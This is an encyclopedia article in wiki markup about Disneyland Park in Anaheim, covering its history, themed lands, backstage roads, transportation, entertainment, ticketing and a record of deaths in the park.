'''Disneyland Park''' is a [[amusement park|theme park]] at the [[Disneyland Resort]] in [[Anaheim, California]], USA.  It is owned and operated by [[The Walt Disney Company]].  Disneyland Park has become the world's most famous theme park and one of the most visited sites in the world. An estimated 515 million visitors have visited the park since its opening on [[July 17]], [[1955]]. A worldwide celebration began in commemoration of Disneyland's [[#Fiftieth anniversary|50th anniversary]] on [[May 5]], [[2005]].  It is renowned for being the only one of the eleven worldwide Disney theme parks personally developed by [[Walt Disney]].

==Dedication==
''&quot;To all who come to this happy place &amp;ndash; welcome. Disneyland is your land. Here age relives fond memories of the past and here youth may savor the challenge and promise of the future. Disneyland is dedicated to the ideals, dreams and the hard facts that have created America&amp;hellip; with the hope that it will be a source of joy and inspiration to all the world.&quot;'' [[Walter E. Disney]], July 17, 1955

==History==
===Concept and construction===
'''Walt Disney''' and his brother '''Roy''' already headed one of Hollywood's more successful studios founded in [[1923]], long before the idea of a park even began to form. Walt's original concept was of a permanent family fun park without the negative element which traveling [[carnival]]s often attracted. He developed the idea during his many outings with his daughters Diane and Sharon, when he realized that there were no parks with activities that parents and children could enjoy together.

While many people had written letters to Walt Disney about visiting the Disney Studio lot and meeting their favorite Disney character, Walt realized that a functional movie studio had little to offer to the visiting fan.  He then began to foster ideas of building a site at or near his Burbank studios for tourists to visit and perhaps take pictures with Disney characters set in statue form.  His ideas then evolved to a small play park with a boat ride and other themed areas. Walt's initial concept, his &quot;[[Mickey Mouse Park]],&quot; grew bigger and bigger into a concept for a larger enterprise which was to become Disneyland.

Disneyland Park was partially inspired by [[Tivoli Gardens, Copenhagen|Tivoli Gardens]] (built in [[1843]] in [[Copenhagen]], [[Denmark]]), [[Greenfield Village]] (built in [[1929]] in [[Dearborn, Michigan]]), and [[Children's Fairyland]] (built in [[1950]] in [[Oakland, California]]). Disney's original modest plans called for the park to be built on eight acres (32,000&amp;nbsp;m&amp;sup2;) on Riverside Drive next to the [[Walt Disney Studios (Burbank)|Disney Studios]] in [[Burbank, California]] as a place where his employees and families could go to relax.

Early in development, during the early [[1950s]], it became clear that more area would be needed. Difficulties in obtaining funding caused Disney to investigate new ways of raising money. He decided to use television to get the ideas into people's homes, and so he created a show named [[Disneyland TV show|Disneyland]] which was broadcast on the fledgling [[American Broadcasting Company]] (ABC) television network. In return, the network agreed to help finance the new park.
[[Image:Disneyland_Concepts.jpg|thumb|250px|Walt Disney showing the concepts of Disneyland]]
On the suggestion of researchers at [[Stanford Research Institute]] who correctly envisioned the area's potential growth, Disney acquired 160 acres (730,000&amp;nbsp;m&amp;sup2;) of orange groves and walnut trees in [[Anaheim, California|Anaheim]], south of [[Los Angeles, California|Los Angeles]] in neighboring [[Orange County, California|Orange County]]. [http://www.gsb.stanford.edu/news/bmag/sbsm0405/feature_alumnibks_price.shtml] [http://www.justdisney.com/disneyland/history.html] Construction began on [[July 18]], [[1954]] and would cost [[United States dollar|USD$]]17 million to complete. [[U.S. Highway 101]] (later [[Interstate 5]]) was under construction at the same time just to the north of the site; in preparation for the traffic which Disneyland was expected to bring, two more lanes were added to the freeway even before the park was finished.

Because of his brother Roy's distrust of the project, and because of financial considerations, Walt Disney was forced to turn to outside financing for his theme park. He first turned to long-time licensee [[Western Publishing]] which invested in the park. ABC as part of the deal to broadcast the Disneyland  television show also became an investor. For the first five years of its operation, Disneyland was owned by [[Disneyland, Inc.]], of which [[Walt Disney Productions]], Western Publishing and ABC each owned shares. After the park was a clear success Western acceeded to a request to sell its share in the enterprise back to Disney. But ABC refused the same request initially, feeling the profit potential of the park was too lucrative to sell. It wasn't until 1960 that Walt Disney Productions acquired ABC's share of the theme park. Disney's displeasure at ABC's actions partly motivated the [[Walt Disney anthology series]] moving to NBC in 1961.

===1955: Opening day===
[[Image:Disneyland aerial view in 1956.jpg|right|250px|thumb|An aerial view of Disneyland, 1956]]
Disneyland Park was opened to the public on Monday, [[July 18]], [[1955]]. However. a special &quot;International Press Preview&quot; event was held on Sunday, [[July 17]], [[1955]], which was only open to invited guests and the media. The Special Sunday events, including the dedication were televised nationwide and anchored by three of Walt Disney's friends from Hollywood: [[Art Linkletter]], [[Bob Cummings]], and [[Ronald Reagan]].

The event did not go smoothly. The park was overcrowded as the by-invitation-only affair was plagued with counterfeit tickets. All major roads nearby were congested. The summer temperature was over 110 degrees Fahrenheit, and a plumbers' strike left many of the park's drinking fountains dry. The asphalt that had been poured just the night before was so soft that ladies' high-heeled shoes sank in. Vendors ran out of food. A gas leak in Fantasyland caused Adventureland, Frontierland, and Fantasyland to close for the afternoon. Parents were throwing their children over the shoulders of crowds to get them onto rides such as the Dumbo Flying Elephants.

The park got such bad press for the event day that Walt Disney invited members of the press back for a private &quot;second day&quot; to experience the true Disneyland, after which Walt held a party in the [[Disneyland Hotel]] for them. Walt and his 1955 executives forever referred to the first day as &quot;Black Sunday,&quot; although [[July 17]] is acknowledged by Disney as the official opening day.  On [[July 17]] every year, cast members wear pin badges stating how many years it has been since [[July 17]], [[1955]].  For example, in 2004 they wore the slogan ''&quot;The magic began 49 years ago today&quot;''.

On Monday, [[July 18]], crowds started to gather in line as early as 2 a.m., and the first person to buy a ticket and enter the park was David MacPherson.  Walt Disney decided to have a photo taken with two children, Michael Schwartner and Christine Vess instead, and the photo of the three always carries a caption along the lines of &quot;Walt Disney with the first two guests of Disneyland.&quot;  MacPherson, Schwartner and Vess all received lifetime passes to every single Disney-owned park in the world.

===Disneylands around the world===
{{main|Walt Disney Parks and Resorts}}
[[Image:Disneyland plaque.jpg|thumb|250px|Plaque at the entrance that embodies the intended spirit of Disneyland by Walt Disney: to leave reality and enter fantasy]]
Despite the problems on the opening day, Disneyland was clearly an enormous success. It attracted visitors worldwide in unprecedented volume. Soon, even as they refined and developed Disneyland, Walt and Roy were also planning an expansion of the concept to other locations.

The [[Walt Disney World Resort]] in [[Lake Buena Vista]], [[Florida]] was built with Walt's hatred of the cheap motels and amusements that popped up around Disneyland in mind. It is the largest private-owned vacation destination, and the most popular vacation destination in the world although the yet-to-open [[Dubai Land]] in the [[United Arab Emirates]] is twice the size. Walt Disney World opened in [[1971]] under the guidance of [[Roy O. Disney]]. Since its opening, with one theme park and two hotels, the resort has grown into four theme parks, two water parks, twenty-three hotels and a retail, dining and entertainment district.

In [[1983]] the first international Disney theme park opened: [[Tokyo Disneyland Park]] in [[Japan]]. Tokyo Disneyland Park is now part of the [[Tokyo Disney Resort]], and has a sister theme park [[Tokyo DisneySea]]. Tokyo Disneyland Park and Tokyo DisneySea are owned by a Japanese corporation, [[Oriental Land Company]].  The Walt Disney Company receives royalties based on revenues and maintains creative control.

In [[1992]] Euro Disney opened in [[France]], and is now the [[Disneyland Resort Paris]] with two theme parks.

On [[September 12]], [[2005]], the [[Hong Kong Disneyland Resort]] was opened in [[Hong Kong]].  Hong Kong Disneyland Resort is owned jointly by the Hong Kong Government and the Walt Disney Company.

===1990s transition: theme park becomes resort===
In the 1990s, major construction began to transform Disneyland from a theme park into a vacation resort. The Walt Disney Company purchased land surrounding the park that was once the site of low-budget motels and trailer courts, and dug up its original &quot;Hundred-Acre Parking Lot&quot;. On this land, [[Disney's California Adventure Park]] and [[Downtown Disney (California)|Downtown Disney]] opened in [[2001]]. The [[Disney's Grand Californian Hotel|Grand Californian Hotel]], patterned after the [[Arts and Crafts movement]] of the early [[20th century]], extends into Disney's California Adventure Park and allows paying guests to enter that park through the hotel itself.

Most of the resort's parking today is handled by the six-level &quot;Mickey and Friends&quot; parking garage. With six levels and 10,250 parking spaces, it was for a short time the largest parking structure in the world. Propane-powered trams bring visitors to the entrance plaza between the two parks. There are also some smaller, off-property lots with regular shuttle service to the parks, and most nearby hotels offer regular shuttle service as well.

The park's management team of the mid-1990s was a tremendous source of contention to many Disneyland fans and employees. Headed by executives [[Cynthia Harriss]] and [[Paul Pressler]], each with a retail [[marketing]] background, Disneyland's focus gradually changed from attractions to merchandising. The leaders came under increasing criticism for a host of cost cutting initiatives and profit boosting schemes.

Under their direction, few new attractions were built and many were closed down. Shops that once carried a variety of items themed to their locations now carried general Disney character products. Themed [[restaurants]] and shops were closed and replaced by outdoor vending carts which caused crowds to clog walkways. The decision to remodel Tomorrowland, derided by some fans, was attributable to Pressler, as was the closure of a great many popular attractions within the area. Dewitt &quot;T&quot; Irby, a retired U.S. Army officer hired as facilities manager, was blamed for the destruction of much of the tooling and attraction components in storage in the backstage areas in an effort to streamline operations as recommended by outside consultants.

After nearly a decade of deferred maintenance, Walt Disney's original theme park was showing visible signs of neglect. Paint was peeling off buildings and roofs were literally disintegrating from age, especially the [[thatched]] roofs in Fantasyland.  Light bulbs, which were once replaced before they burned out, not only were run to burnout but were so numerous as to make the facades they outlined look almost toothless.  Fans of the park decried the perceived decline in customer value and park quality and railed for the dismissal of the management team.

===Disneyland in the 21st century===
In 2003, both Harriss and Pressler stepped down to take over operations of national clothing retailer [[The Gap (clothing retailer)|The Gap]]. Irby stepped down the following year.

[[Matt Ouimet]], formerly the president of the [[Disney Cruise Line]], was promoted to assume leadership of the Disneyland Resort in late 2003.  Shortly afterward, he selected [[Greg Emmer]] as Senior Vice President of Operations.  Emmer is a long-time Disney cast member who had worked at Disneyland in his youth prior to moving to Florida and holding multiple executive leadership positions at the [[Walt Disney World Resort]]. Praised by Disney fan sites for his success at Disney Cruise Line, Ouimet quickly set about reversing negative trends, especially with regards to cosmetic maintenance and a return to the original [[infrastructure]] maintenance schedule, in hopes of restoring the good safety record of the past. Much like Walt Disney himself, Ouimet and Emmer can often be seen walking the park during business hours with members of their staff.  They wear cast member name badges, queue in line for attractions and welcome comments from guests.

Disneyland Park hosted its 500-millionth guest in [[2004]]. 

===Fiftieth anniversary===
In 2004, the park undertook a number of major renovation projects in preparation for its fiftieth anniversary celebration.  Many classic attractions (often ones neglected during Paul Pressler and Cynthia Harriss' times as Disneyland Resort President) have been restored, probably most notably [[Space Mountain]], [[Jungle Cruise]], and [[Walt Disney's Enchanted Tiki Room]], which has received a complete restoration of its 40-year-old soundtrack.[[Image:50thDisney.png|right|Official marketing logo]]

In 2005, the entire [[Walt Disney Company]] celebrated Disneyland Park's 50th anniversary, marketed as the &quot;[[Happiest Homecoming on Earth]].&quot;  The official celebration began on [[May 5]], with a dedication from [[Michael Eisner]], [[Bob Iger]], and [[Art Linkletter]].  On [[July 15th]], [[2005]], Disneyland Park became the first 'location' to get a star on the [[Hollywood Walk of Fame]].

The actual anniversary day ([[July 17]]) was an event marked more by the fans' enthusiasm than by the company's recognition.  The first people began to line up at 3 p.m. the day before.  Overnight, park management opened the gates of [[Disney's California Adventure Park]] simply to house the thousands of people who showed up over the course of the night.  A second line formed outside the security checkpoints as thousands more arrived in the final hours before the park opened.  Disneyland Park opened at 7:00 a.m., although it took several hours to admit the crowds that showed up that morning.

At 10:00 a.m., [[Diane Disney Miller]] reread her father's original dedication speech in a ceremony with [[Art Linkletter]], Governor [[Arnold Schwarzenegger]], CEO-elect Robert Iger, and CEO [[Michael Eisner]].  Later that day, a recording of Walt Disney's original dedication speech was replayed throughout the park, exactly 50 years to the minute from when it was originally delivered.  No other special events had been planned for the day, making for a much smaller celebration than the media blowout of [[May 5]].  There were also complimentary golden Mickey ears that were specifically made for [[July 17]], along with cupcakes for the guests.  Many of the people who had waited overnight left after the rededication.  Although the gates had been temporarily closed in the morning, it was done only to control crowds which were flooding Main Street for the morning ceremony.  The park never reached capacity that day.

==Park layout==
[[Image:WaltAndMickeyfx wb.jpg|thumb|Famous statue of Walt and Mickey, called &quot;Partners&quot;, stands at the end of Main Street.]]
The park is divided into public areas, consisting of themed lands, and the well-concealed &quot;backstage&quot; area, which normally only cast members can enter. The themed lands and other public areas occupy 85 acres (344,000&amp;nbsp;m&amp;sup2;).

At the center of the park stands [[Sleeping Beauty Castle]].

===Capacity===
Disney does not release official figures, but visitor capacity is estimated to be between 65,000 and 85,000 guests. An estimated 87,000 guests flocked to Disneyland to see Disneyland's [[Main Street Electrical Parade]] do its final run. Disneyland often hits capacity during the Christmas season between late December and very early January.

===Themed lands===
{{main articles|
:*''[[List of current Disneyland attractions]]''
:*''[[List of past Disneyland attractions]]''}}

The park was designed by Walt Disney's movie studio staff to have five distinctly-themed &quot;lands&quot;. Three more lands have been added since the park's opening.

;[[Main Street, U.S.A.]]:Based on the stereotypical turn-of-the-20th-century city [[Main Street]], specifically Disney's boyhood home of [[Marceline, Missouri]], [[Main Street, U.S.A.]] is home to many shops but is the only land in all of Disneyland without a permanent ride. Walt Disney said, &quot;For those of us who remember the carefree time it recreates, Main Street will bring back happy memories. For younger visitors, it is an adventure in turning back the calendar to the days of grandfather's youth.&quot;

;[[Adventureland]]:This land is designed to be an exotic tropical place in a far-off region of the world. &quot;To create a land that would make this dream reality,&quot; said Walt Disney, &quot;we pictured ourselves far from civilization, in the remote [[jungle]]s of [[Asia]] and [[Africa]].&quot; Attractions include the &quot;Temple of the Forbidden Eye&quot; in [[Indiana Jones Adventure]], the [[Jungle Cruise]], [[Walt Disney's Enchanted Tiki Room]] and &quot;[[Tarzan's Treehouse]].&quot;  (The Tarzan Treehouse is an adaptation of the earlier [[Swiss Family Treehouse]] from the Walt Disney film, [[Swiss Family Robinson]]).

;[[Frontierland]]: This land recreates the setting of [[American Old West|pioneer]] days along the [[American frontier]]. According to Walt Disney, &quot;All of us have cause to be proud of our country's history, shaped by the pioneering spirit of our forefathers. Our adventures are designed to give you the feeling of having lived, even for a short while, during our country's pioneer days.&quot; Frontierland is home to the [[Pinewood Indians]] band of animatronic Native Americans, who live on the banks of the [[Rivers of America (Disney)|Rivers of America]]. Entertainment and attractions include [[Fantasmic!]], [[Big Thunder Mountain Railroad]], [[Mark Twain]] [[Riverboat]], and [[Sailing Ship Columbia]].  Frontierland is also home to the [[Golden Horseshoe Saloon]], a show palace straight out of the Old West.  Currently the comedic troupe &quot;[[Billy Hill and the Hillbillies]]&quot; entertain guests on a daily basis.

;[[Fantasyland]]:Walt Disney said, &quot;What youngster has not dreamed of flying with [[Peter Pan]] over moonlit [[London]], or tumbling into Alice's nonsensical [[Alice's Adventures in Wonderland|Wonderland]]? In [[Fantasyland]], these classic stories of everyone's youth have become realities for youngsters - of all ages - to participate in.&quot; Fantasyland was originally styled in a fairground fashion, but its 1983 refurbishment turned it into a [[Bavaria]]n village. Attractions include several dark rides, the King Arthur Carrousel (spelled this way by Disney), and various children's rides.

;[[Tomorrowland]]:[[Image:Tomrrowland_2002.jpg|right|thumb|250px|View of the &quot;new&quot; Tomorrowland as seen from 1998-2005]] In Walt Disney's words, &quot;Tomorrow can be a wonderful age. Our scientists today are opening the doors of the [[Space Age]] to achievements that will benefit our children and generations to come. The Tomorrowland attractions have been designed to give you an opportunity to participate in adventures that are a living blueprint of our future.&quot; 

:Disneyland producer Ward Kimball had [[Rocket scientist]] [[Wernher von Braun]], Willy Ley, and Heinz Haber as technical consultants during the original design of Tomorrowland.[http://history.msfc.nasa.gov/vonbraun/disney_article.html] Initial rides included the rocket to the moon; later, a large fleet of submarines was added.  The area underwent a major transformation in 1967 to become &quot;New Tomorrowland,&quot; and then again in 1998 when its focus was changed to present a &quot;retro-future&quot; theme reminiscent of the illustrations of [[Jules Verne]]. Current rides include the popular [[Space Mountain]] and [[Star Tours]], among others.

;[[New Orleans Square]]: [[Image:Haunted Mansion, Disneyland 2002.jpg|thumbnail|250px|The Haunted Mansion is patterned after a Southern plantation home.]]

:New Orleans Square was among the last additions to Disneyland overseen by Walt Disney himself.  Opened in [[1966]], it is meant to capture the flavor and architectural detail of [[New Orleans, Louisiana|New Orleans]]'s [[Bourbon Street]]. This area contains two of the most popular Disneyland attractions, [[Haunted Mansion]] and [[Pirates of the Caribbean]], and a private club and restaurant, [[Club 33]].

;[[Critter Country]]:[[Image:Splash Mountain.JPG|right|thumb|200px|Splash Mountain (Nov. 2004)]] Critter Country opened in 1972 as &quot;Bear Country,&quot; and was renamed in 1988. Formerly the area was home to the Indian Village with actual Native Americans entertaining guests. Today, its main draw is [[Splash Mountain]], a log flume attraction themed after the animated segments of Disney's 1946 movie ''[[Song of the South]]''. In 2003, a [[dark ride]] called [[The Many Adventures of Winnie the Pooh]] replaced the long-running [[Country Bear Jamboree]], a show featuring singing [[Audio-Animatronic]] bears.

;[[Mickey's Toontown]]:Toontown opened in 1993 and was patterned after &quot;Toontown&quot; in the Disney/Touchstone Pictures 1988 release ''[[Who Framed Roger Rabbit]]''. Mickey's Toontown looks like a 1930s [[Max Fleischer]] cartoon short come to life. The land is built like the town where Disney characters live.

===Backstage areas===
In Disneyland [[lingo]], areas closed to park visitors are considered &quot;[[backstage]]&quot;. There are several points of entry from the outside world to the backstage areas: Ball Gate (at the terminus of Cast Place off Ball Road), TDA Gate (adjacent to the Team Disney Anaheim building), Harbor Gate (off Harbor Boulevard, behind Tomorrowland), and Winston Gate (off Disneyland Drive, behind the Mickey and Friends parking garage).

Berm Road encircles the park from Firehouse Gate (behind the Main Street Fire Station) to Egghouse Gate (adjacent to the Main Street Opera House). The road is so called because it generally follows outside the path of Disneyland's earthen berm, although with the addition of Mickey's Toowntown, the road now strays as much as 100 yards from onstage areas at some points. A stretch of the road, wedged between Tomorrowland and Harbor Boulevard, is called Schumaker Road. It has two narrow lanes divided by a double yellow line, runs underneath the Monorail track. There are also two railroad bridges that cross Berm Road: one behind City Hall and the other behind Tomorrowland near Harbor Gate. The speed limit for most parts of Berm Road is 15 miles per hour, although a section cutting through Disneyland's maintenance shops behind the park's northwestern corner has a speed limit of 5 miles per hour.

The major buildings backstage include &quot;Team Disney Anaheim&quot;, where many of the park's support staff and top-level managers work; and the &quot;Old Administration Building&quot;, behind Tomorrowland and Main Street.

==Transportation==
Walt Disney had a longtime interest in transportation, and railroads in particular. He had built a miniature [[live steam]] [[backyard railroad]], the &quot;[[Carolwood Pacific Railroad]]&quot;, on the grounds of his own home. Therefore a number of different modes of transport were incorporated into the park. The transportation systems are in some respects intended more as entertainment or sightseeing rides than as a means of transporting guests, such as the &quot;Casey Junior&quot; [[train ride]].

===Disneyland Railroad===
[[Image:DisneylandTrainLocomotive.JPG|thumb|Disneyland Railroad engine #2.]]
{{main|Disneyland Railroad}}
Disneyland incorporates a steam railroad, the Disneyland Railroad. Originally known as the Disneyland and Santa Fe Railroad, it was sponsored by the [[Atchison, Topeka and Santa Fe Railway]] until [[1974]]. Laid to three-foot gauge, the most common [[narrow gauge]] measurement used in North America, the track runs in a continuous loop around the park. The train stops at stations in New Orleans Square, Toontown, Tomorrowland, and Main Street.  The train passes the &quot;[[Grand Canyon]]/[[Primeval]] World&quot; diorama in a tunnel between the Tomorrowland and Main Street stations. Between the New Orleans Square station and Toontown, it passes an audioanimatronic scene in [[Splash Mountain]].

===Disneyland Monorail===
&lt;!-- Image with unknown copyright status removed: [[Image:MonorailMarkVII.jpg|thumb|left|300px|A rendering of what may become the newest version of the Monorail--the Mark VII.]] --&gt;[[Image:MonorailOverLagoon_wb.jpg|thumb|right|250px|Monorail Blue travels over the currently closed Submarine Voyage lagoon in Tomorrowland.]]
{{main|Disneyland Monorail System}}
One of Disneyland's signature attractions is its [[ALWEG|Alweg]] [[monorail]] system, installed in [[1959]]. The monorail track has remained almost exactly the same since 1961, aside from small alterations while Disney's California Adventure and Downtown Disney were being built. The trains themselves have received multiple updates; the most recent was in [[1987]] when more modern trains built by [[Ride and Show Entertainment]] eliminated the old ALWEG [[Buck Rogers]]-style trains. The next update will be around [[2006]] or [[2007]]. The monorail shuttles visitors between two stations, one inside the park in Tomorrowland and one in Downtown Disney. It follows a 2.5 mile (4 km) long route designed to show off the park from above. Three generations of monorail trains have been used in the park, since their lightweight construction means they wear out quickly.

[[As of 2004]], three monorail trains, Monorail Red, Monorail Blue, and Monorail Purple, are in regular service. A fourth train, Monorail Orange, was removed from service and shipped to Disney's engineering department in Glendale for disassembly and study so that new [[blueprint]]s can be created from it, because ALWEG, the company which built the original monorail trains, has gone out of business, and the current trains, built by [[Ride &amp; Show Entertainment]] in [[1987]], use some of the same parts as the ALWEG trains did.

Disneyland had signed a contract with the Alweg company which required the Alweg name to be displayed on the monorail. This conflicted with the contract with the Santa Fe that only their name could be associated with railroad attractions at the park. This caused a rift between Disneyland and the Santa Fe railroad, and eventually caused the breakdown in their relationship and the removal of Santa Fe sponsorship from the Disneyland Railroad.

===Main Street vehicles===
A number of vehicles, including a [[double-decker bus]], a horse-drawn [[streetcar]], an old-fashioned fire engine, and an old-fashioned automobile, are available for rides along Main Street, U.S.A.

The fire engine was built for Walt Disney, who used it to drive around the park and host celebrity guests. The horseless carriages are modeled after cars built in 1903. They (as well as the fire truck) have two cylinder, four horsepower (3 kW) engines and manual transmission and steering.

===Skyway===
The [[Skyway (Disney)|Disneyland Skyway]], &quot;the first aerial tramway of its kind in the United States&quot;&lt;sup&gt;[[#References|1]]&lt;/sup&gt;, was one of the signature attractions at the park. Opened in 1956 by [[Walt Disney]] himself, it shuttled passengers between Fantasyland and Tomorrowland 100 feet (30 m) above the ground, giving passengers fantastic views of Sleeping Beauty Castle, the Matterhorn (which was built around the Skyway in [[1959]]), and the Autopia. A distinctive feature was that Disneyland maintained the 'on-stage/backstage' illusion to Skyway guests, covering any sites that would be unsuitable to guests that were also hidden to guests on foot.

Due to the enormous impending cost to retrofit the Skyway for earthquake safety and handicap accessibility, the attraction closed permanently on [[November 10]], [[1994]]. Four years later, Tokyo Disneyland Park removed their Skyway; finally, in [[1999]], Walt Disney World Resort's Magic Kingdom Park removed theirs on the exact date that Disneyland removed theirs. No Skyways are left at any Disney park (Disneyland Park in Paris never had a Skyway attraction). 

The Tomorrowland station  in Disneyland remained and was used as a maintenance bay for [[Rocket Rods]] beginning in [[1998]]. It was removed shortly after the Rocket Rods closed in spring [[2001]].

The Fantasyland station in Disneyland remains but is closed to the public.

===Autopia===
The Disneyland Autopia opened with the park in 1955, and represented a future look at what would become America's multilane limited-access highways that were still being developed ([[Dwight D Eisenhower|President Eisenhower]] had yet to sign the [[Interstate Highway]] legislation at the time Disneyland opened). 

Robert Gurr designed the original Autopia cars to be reminiscent of [[Ferrari]]s.  In [[1967]], the cars were redesigned to resemble the popular [[Chevrolet Corvette]].  This car design was used through [[2000]], when the entire ride was rethemed and modernized.  The new cars resemble those used in television commercials for Chevron and are in one of these three styles:
* Suzy the zippy compact
* Sparky the sports car 
* Dusty, an S.U.V.

==Live entertainment==
[[Image:DisneyParade.jpg|thumb|right|250px|The Parade of the Stars in Disneyland from 2004 (closed in early 2005).]]
In addition to the attractions, Disneyland provides live entertainment throughout the park. Through the years, this has included:
*Throughout the park
**Disney characters, who greet visitors, talk with children, and pose for photos.  Besides greeting visitors in regular places, they often participate in Disneyland [[parade]]s.
*Main Street
**Daytime and nighttime parades that celebrate Disney films or seasonal holidays with characters, music, and large floats. Beginning May 2005, &quot;Walt Disney's Parade of Dreams&quot; is presented, celebrating several of the classic Disney stories including [[The Lion King]], [[Alice in Wonderland (1951 film)|Alice in Wonderland]], and [[Pinocchio]].
**Elaborate fireworks shows featuring Disney songs and an appearance by &quot;[[Peter Pan]]&quot; character [[Tinker Bell]]. The ''[[Fantasy in the Sky]]'' fireworks premiered in the summer of [[1956]] and lasted through the summer of [[1999]]. [[2000]] and beyond introduced fireworks presentations that have become more elaborate, featuring new pyrotechnics, launch locations, and storylines, such as the show ''[[Believe... There's Magic in the Stars]]'' and the current 50th anniversary celebration fireworks presentation ''[[Remember... Dreams Come True]]''.
**The Disneyland Band, which has been part of the park since its opening. They play the role of the Town Band on [[Main Street, U.S.A.]] but also break out into smaller groups like the Main Street Merchants Band, the Firehouse Sax Quartet, and a variety of groups in New Orleans Square.  The Disneyland Band was traditionally all male.  
**The [[Dapper Dans]] [[barbershop quartet]], which often sings on Main Street.
**Rod Miller, a [[ragtime]] pianist who has played at Corner Cafe on Main Street since October 1969. 
*New Orleans Square
**[[Fantasmic!]], a popular nighttime show with [[Mickey Mouse]], special effects, floating barges, fountains, lasers, a pirate ship, a forty-five foot fire-breathing [[European dragon|dragon]], fireworks, and thirty-foot-tall &quot;mist screens,&quot; upon which animated scenes are projected.
*Frontierland
**The Golden Horseshoe Saloon, offering a live stage show with a frontier or [[American Old West|old-west]] feel. The Golden Horseshoe Revue&amp;mdash;an old-west Vaudeville type of show starring Slue Foot (or Sluefoot) Sue and Pecos Bill&amp;mdash;ran until the mid-1980s, when it was replaced by a similar show starring Lily Langtree (or Miss Lily) and Sam the Bartender. Most recently, Billy Hill and the Hillbillies have played their [[guitar]]s and [[banjo]]s in a bluegrass-and-comedy show.
**The Laughing Stock Co., providing small humorous skits with an old-west theme.
*Fantasyland
**[[Merlin (wizard)|Merlin]], who appears in Fantasyland several times a day to help some lucky child pull a [[The Sword in the Stone|sword from an anvil and stone]].

==Tickets==
[[Image:DisneyTicketBook_wbelf.jpg|thumb|Ticket book circa 1975-1977.]]
From Disneyland's opening until [[1982]], the price of attractions was in addition to the price of park admission. Park-goers paid a small sum to get into the park, then bought coupons (also called tickets), individually or in booklets, that allowed them access to rides and attractions. The least-expensive &quot;A&quot; tickets gave access to the smaller attractions, while the most-expensive &quot;E&quot; tickets gave access to the newest thrill rides or the most interesting and unusual attractions.  This led to the still-popular term &quot;[[E ticket]] ride&quot; for any particularly outstanding, special, or thrilling experience.

In the 1970s, nearby [[Six Flags Magic Mountain|Magic Mountain]] introduced a one-price admission ticket which allowed free access to all attractions within the park. This model spread rapidly to all other parks, including Disneyland, because its business advantages were obvious: in addition to guaranteeing that everyone paid a large sum even if they stayed for only a few hours and rode only a few rides, the park no longer had to print tickets or ticket books, staff ticket booths, or provide staff to collect tickets or monitor attractions for people sneaking on without tickets. 
&lt;gallery&gt;
Image:DlandPassport83 wb.jpg|[[Disneyland]] 1983 two-day admission ticket; price on the back is $20.
Image:DlandPassport90 wb.jpg|[[Disneyland]]  1990 one-day Passport; price on back is $23.50 
Image:DlandPassport95 wb.jpg|[[Disneyland]] 1995 Passport four days  for $55.
Image:AdmissionTicket wb.jpg|2000 five-day admission ticket for $99.
&lt;/gallery&gt;

[[Image:FastPass wb.jpg|thumb|100px|2002 Fast Pass.]]
In 1999, in an effort to offset the long waits for the most popular attractions, Disney implemented a new service named [[FASTPASS]] [http://disneyland.disney.go.com/disneyland/en_US/help/gsDetail?name=FastPassGSDetailPage&amp;bhcp=1]. At attractions featuring FASTPASS, a guest can use his park admission ticket to obtain a FASTPASS ticket with a return time later that day (an hour-long window) printed on it. If the guest returns to the attraction at his return time, he can wait in a shorter line and be on the attraction within ten minutes, or often much more quickly. Initially, only a few attractions offered this service, but its popularity ensured its spread to many of the park's attractions.  The [[List of FASTPASS equipped attractions|selection of rides offering Fastpass]] changes over time.

==Deaths==
Over the half century that Disneyland Park has been in operation, nine Guests and one Cast Member have died inside the park.  A greater number of guests have been injured.

Seven of the deaths were the result of negligence on the Guests' part rather than the park's:

*In [[1964]], 15-year-old Mark Maples of [[Long Beach, California]] died after he stood up in the [[Matterhorn Bobsleds]] and fell out.
*In [[1966]], Thomas Guy Cleveland, 19, of [[Northridge, California]] was crushed by the [[Monorail]] during a Grad Nite celebration while trying to sneak into the park by climbing its track.
*In [[1967]], Ricky Lee Yama, 17, of [[Hawthorne, California]] was crushed while jumping between two moving [[PeopleMover]] cars.
*In [[1973]], Bogden Delaurot, 18, of [[Brooklyn, New York]] drowned while trying to carry his little brother swimming across the Rivers of America.
*In [[1980]], Gerrardo Gonzales, 18, of [[San Diego, California]] was crushed by the [[PeopleMover]] while jumping between moving cars.
*In [[1983]], Philip Straughan, 18, of [[Albuquerque, New Mexico]] drowned in the Rivers of America while trying to pilot a rubber emergency boat from Tom Sawyer's Island.
*In [[1984]], Dolly Regene Young, 48, of [[Fremont, California]] unbuckled her seatbelt and was thrown from a [[Matterhorn Bobsleds]] car and struck by the next oncoming bobsled.

Two of the deaths were ruled by [[CalOSHA]] to be the result of negligence on the park's part rather than misbehavior by guests:
*On [[December 24]], [[1998]], a heavy metal cleat fastened to the hull of the sailing ship &quot;Columbia&quot; tore loose, striking one cast member and two park guests. Of the guests, Luan Phi Dawson, 33, of [[Duvall, Washington]], died of a head injury. The normal non-elastic rope (designed to break easily) used to tie the boat off was improperly replaced by an elastic rope which stretched and tore the cleat from the ship's wooden hull. The park received much criticism for this incident due to its policy of restricting outside medical personnel in the park to avoid frightening visitors, as well as for the fact that the Cast Member in charge of the ship at the time was a novice. This accident prompted California to pass its [[Theme Park Safety Law]]. 
*On [[September 5]], [[2003]], 22-year-old Marcelo Torres of nearby [[Gardena, California]] died after suffering injuries in a derailment of the [[Big Thunder Mountain Railroad]] roller coaster.  The cause of the accident was determined to be improper maintenance.

Other deaths include:

*In [[1974]], Cast Member Deborah Gail Stone, 19, of nearby [[Santa Ana, California]] was crushed to death between a revolving wall and a stationary platform inside the now-closed &quot;[[America Sings]]&quot; attraction. She was in the wrong place during a ride intermission; it was unclear whether this was due to inadequate training or a misstep. The attraction was subsequently refitted with breakaway walls. [http://www.mouseplanet.com/david/dk040708.htm]

